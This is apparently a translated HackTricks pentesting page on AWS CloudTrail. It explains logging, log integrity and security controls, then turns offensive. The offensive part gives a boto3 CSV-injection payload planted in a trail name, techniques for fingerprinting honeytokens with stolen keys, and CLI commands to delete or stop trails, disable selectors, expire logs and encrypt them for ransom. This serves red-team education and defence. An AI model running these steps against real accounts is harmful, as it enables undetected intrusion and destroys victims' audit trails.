AWS - CloudTrail Enum

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

CloudTrail

AWS CloudTrail registreer en monitor aktiwiteit binne jou AWS omgewing. Dit vang gedetailleerde gebeurtenislogs, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied ’n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opvolging. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker.

Elke gelogde gebeurtenis bevat:

  • Die naam van die aangeroep API: eventName
  • Die aangeroep diens: eventSource
  • Die tyd: eventTime
  • Die IP adres: SourceIPAddress
  • Die agent metode: userAgent. Voorbeelde:
  • Signing.amazonaws.com - Van AWS Bestuurskonsol
  • console.amazonaws.com - Wortel gebruiker van die rekening
  • lambda.amazonaws.com - AWS Lambda
  • Die versoekparameters: requestParameters
  • Die respons elemente: responseElements

Gebeurtenisse word na ’n nuwe loglĂȘer ongeveer elke 5 minute in ’n JSON-lĂȘer geskryf, hulle word deur CloudTrail gehou en uiteindelik, loglĂȘers word aan S3 afgelewer ongeveer 15min na.
CloudTrail se logs kan geaggregeer word oor rekeninge en oor streke.
CloudTrail laat toe om loglĂȘer integriteit te gebruik om te kan verifieer dat jou loglĂȘers onveranderd gebly het sedert CloudTrail dit aan jou afgelewer het. Dit skep ’n SHA-256 hash van die logs binne ’n digest-lĂȘer. ’n sha-256 hash van die nuwe logs word elke uur geskep.
Wanneer ’n Trail geskep word, sal die gebeurteniskeuses jou toelaat om die spoor aan te dui om te log: Bestuur, data of insig gebeurtenisse.

Logs word in ’n S3-bucket gestoor. Standaard word Server Side Encryption (SSE-S3) gebruik, so AWS sal die inhoud ontsleutel vir die mense wat toegang het, maar vir bykomende sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik.

Die logs word gestoor in ’n S3-bucket met hierdie naamformaat:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • Waar die BucketName is: aws-cloudtrail-logs-<accountid>-<random>
  • Voorbeeld: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Binne elke gids sal elke log ’n naam hĂȘ wat hierdie formaat volg: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Log LĂȘer Naam Konvensie

Boonop, digest-lĂȘers (om lĂȘer integriteit te kontroleer) sal binne die dieselfde bucket wees in:

Geaggregeerde Logs van Meerdere Rekeninge

  • Skep ’n Trail in die AWS rekening waar jy wil hĂȘ die loglĂȘers moet afgelewer word
  • Pas toestemmings toe op die bestemmings S3-bucket wat kruis-rekening toegang vir CloudTrail toelaat en laat elke AWS rekening wat toegang benodig toe
  • Skep ’n nuwe Trail in die ander AWS rekeninge en kies om die geskepte bucket in stap 1 te gebruik

Tog, selfs al kan jy al die logs in dieselfde S3-bucket stoor, kan jy nie CloudTrail logs van meerdere rekeninge in ’n CloudWatch Logs wat aan ’n enkele AWS rekening behoort, aggregeer nie.

Caution

Onthou dat ’n rekening verskillende Trails van CloudTrail geaktiveer kan hĂȘ wat dieselfde (of verskillende) logs in verskillende buckets stoor.

Cloudtrail van alle org rekeninge in 1

Wanneer ’n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail te aktiveer vir al die rekeninge in die org en die logs in net 1 bucket te kry:

Op hierdie manier kan jy maklik CloudTrail in al die streke van al die rekeninge konfigureer en die logs in 1 rekening sentraliseer (wat jy moet beskerm).

Log LĂȘers Kontrole

Jy kan kontroleer dat die logs nie verander is nie deur te loop

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail kan outomaties logs na CloudWatch stuur sodat jy waarskuwings kan stel wat jou waarsku wanneer verdagte aktiwiteite uitgevoer word.
Let daarop dat om CloudTrail toe te laat om die logs na CloudWatch te stuur, ’n rol geskep moet word wat daardie aksie toelaat. Indien moontlik, word dit aanbeveel om die AWS standaardrol te gebruik om hierdie aksies uit te voer. Hierdie rol sal CloudTrail toelaat om:

  • CreateLogStream: Dit laat jou toe om ’n CloudWatch Logs log streams te skep
  • PutLogEvents: Lewer CloudTrail logs aan CloudWatch Logs log stream

Event History

CloudTrail Event History laat jou toe om in ’n tabel die logs wat opgeneem is, te inspekteer:

Insights

CloudTrail Insights analiseer outomaties skryfbestuur gebeurtenisse van CloudTrail spore en waarsku jou oor ongewone aktiwiteit. Byvoorbeeld, as daar ’n toename in TerminateInstance gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as ’n Insight gebeurtenis sien. Hierdie gebeurtenisse maak dit makliker om ongewone API aktiwiteit te vind en daarop te reageer as ooit tevore.

Die insigte word in dieselfde emmer as die CloudTrail logs gestoor in: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Control NameImplementation Details
CloudTrail Log File Integrity
  • Verifieer of logs gemanipuleer is (gewysig of verwyder)

  • Gebruik digest lĂȘers (skep hash vir elke lĂȘer)

    • SHA-256 hashing
    • SHA-256 met RSA vir digitale ondertekening
    • privaat sleutel besit deur Amazon
  • Neem 1 uur om ’n digest lĂȘer te skep (gedoen op die uur elke uur)
Stop unauthorized access

  • Gebruik IAM beleid en S3 emmer beleid

    • sekuriteitspan —> admin toegang
    • ouditeurs —> lees slegs toegang
  • Gebruik SSE-S3/SSE-KMS om die logs te enkripteer
Prevent log files from being deleted
  • Beperk verwyder toegang met IAM en emmer beleid
  • Konfigureer S3 MFA verwydering
  • Verifieer met Log File Validation

Access Advisor

AWS Access Advisor staat op die laaste 400 dae AWS CloudTrail logs om sy insigte te versamel. CloudTrail vang ’n geskiedenis van AWS API oproepe en verwante gebeurtenisse wat in ’n AWS rekening gemaak is. Access Advisor gebruik hierdie data om te wys wanneer dienste laas toeganklik was. Deur CloudTrail logs te analiseer, kan Access Advisor bepaal watter AWS dienste ’n IAM gebruiker of rol toeganklik gemaak het en wanneer daardie toegang plaasgevind het. Dit help AWS administrateurs om ingeligte besluite te neem oor die verfyning van toestemmings, aangesien hulle dienste kan identifiseer wat vir lang tydperke nie toeganklik was nie en moontlik oorbodige breĂ« toestemmings kan verminder op grond van werklike gebruikspatrone.

Tip

Daarom informeer Access Advisor oor die onnodige toestemmings wat aan gebruikers gegee word sodat die admin dit kan verwyder

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Dit is moontlik om ’n CVS-inspuiting binne CloudTrail uit te voer wat arbitrĂȘre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.
Die volgende kode sal ’n loginskrywing genereer met ’n slegte Trail-naam wat die payload bevat:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Vir meer inligting oor CSV-inspuitings, kyk na die bladsy:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Vir meer inligting oor hierdie spesifieke tegniek, kyk https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Om Detection te omseil

HoneyTokens omseil

Honeytokens word geskep om die uitvloeiing van sensitiewe inligting te detecteer. In die geval van AWS, is dit AWS sleutels waarvan die gebruik gemonitor word, as iets ’n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het.

E however, Honeytokens soos die wat deur Canarytokens, SpaceCrab, SpaceSiren geskep is, gebruik Ăłf ’n herkenbare rekeningnaam Ăłf gebruik dieselfde AWS rekening ID vir al hul kliĂ«nte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat skep, kan jy weet of die sleutel ’n honeytoken is of nie.

Pacu het ’n paar reĂ«ls om te detecteer of ’n sleutel aan Canarytokens, SpaceCrab, SpaceSiren** behoort:**

  • As canarytokens.org in die rolnaam verskyn of die rekening ID 534261010715 in die foutboodskap verskyn.
  • Deur hulle meer onlangs te toets, gebruik hulle die rekening 717712589309 en het steeds die canarytokens.com string in die naam.
  • As SpaceCrab in die rolnaam in die foutboodskap verskyn.
  • SpaceSiren gebruik uuids om gebruikersname te genereer: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • As die naam soos lukraak gegenereer lyk, is daar ’n hoĂ« waarskynlikheid dat dit ’n HoneyToken is.

Kry die rekening ID van die Sleutel ID

Jy kan die Rekening ID kry van die gecodeerde binne die toegangssleutel soos hier verduidelik en die rekening ID met jou lys van Honeytokens AWS rekeninge nagaan:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Kontroleer meer inligting in die oorspronklike navorsing.

Moet nie ’n log genereer nie

Die mees effektiewe tegniek hiervoor is eintlik ’n eenvoudige een. Gebruik net die sleutel wat jy pas gevind het om toegang te verkry tot ’n diens binne jou eie aanvallersrekening. Dit sal CloudTrail ’n log binne JOU EIE AWS-rekening genereer en nie binne die slagoffers nie.

Die ding is dat die uitvoer ’n fout sal toon wat die rekening-ID en die rekeningnaam aandui, sodat jy sal kan sien of dit ’n Honeytoken is.

AWS-dienste sonder logs

In die verlede was daar ’n paar AWS-dienste wat nie logs na CloudTrail stuur nie (vind ’n lys hier). Sommige van daardie dienste sal reageer met ’n fout wat die ARN van die sleutelrol bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry.

Op hierdie manier kan ’n aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer. In die ARN kan die aanvaller die AWS-rekening-ID en die naam sien, dit is maklik om die HoneyToken se maatskappy-rekening-ID en name te ken, so op hierdie manier kan ’n aanvaller identifiseer of die token ’n HoneyToken is.

Caution

Let daarop dat alle openbare API’s wat ontdek is dat hulle nie CloudTrail-logs genereer nie, nou reggestel is, so dalk moet jy jou eie vind


Vir meer inligting, kyk na die oorspronklike navorsing.

Toegang tot Derde Infrastruktuur

Sekere AWS-dienste sal ’n bietjie infrastruktuur soos Databasisse of Kubernetes klusters (EKS) skep. ’n Gebruiker wat direk met daardie dienste praat (soos die Kubernetes API) sal nie die AWS API gebruik nie, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie.

Daarom kan ’n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, ’n token plaaslik genereer en direk met die API-diens praat sonder om deur Cloudtrail opgespoor te word.

Meer inligting in:

AWS - EKS Post Exploitation

Wysig CloudTrail Konfigurasie

Verwyder spore

aws cloudtrail delete-trail --name [trail-name]

Stop spore

aws cloudtrail stop-logging --name [trail-name]

Deaktiveer multi-region logging

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Deaktiveer Logging deur Gebeurtenis Keuses

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

In die eerste voorbeeld word ’n enkele gebeurteniskeuse as ’n JSON-array met ’n enkele objek voorsien. Die "ReadWriteType": "ReadOnly" dui aan dat die gebeurteniskeuse slegs lees-slegs gebeurtenisse moet vasvang (so CloudTrail insigte sal nie skryf gebeurtenisse nagaan nie).

Jy kan die gebeurteniskeuse aanpas op grond van jou spesifieke vereistes.

Logs verwydering via S3 lewensiklusbeleid

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifisering van Emmer Konfigurasie

  • Verwyder die S3-emmer
  • Verander emmerbeleid om enige skrywe van die CloudTrail-diens te weier
  • Voeg lewensiklusbeleid by S3-emmer om voorwerpe te verwyder
  • Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logs te enkripteer

Cloudtrail ransomware

S3 ransomware

Jy kan ’n asimmetriese sleutel genereer en CloudTrail die data met daardie sleutel enkripteer en die private sleutel verwyder sodat die CloudTrail-inhoud nie herstel kan word nie.
Dit is basies S3-KMS ransomware wat verduidelik word in:

AWS - S3 Post Exploitation

KMS ransomware

Dit is ’n maklike manier om die vorige aanval met verskillende toestemmingsvereistes uit te voer:

AWS - KMS Post Exploitation

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks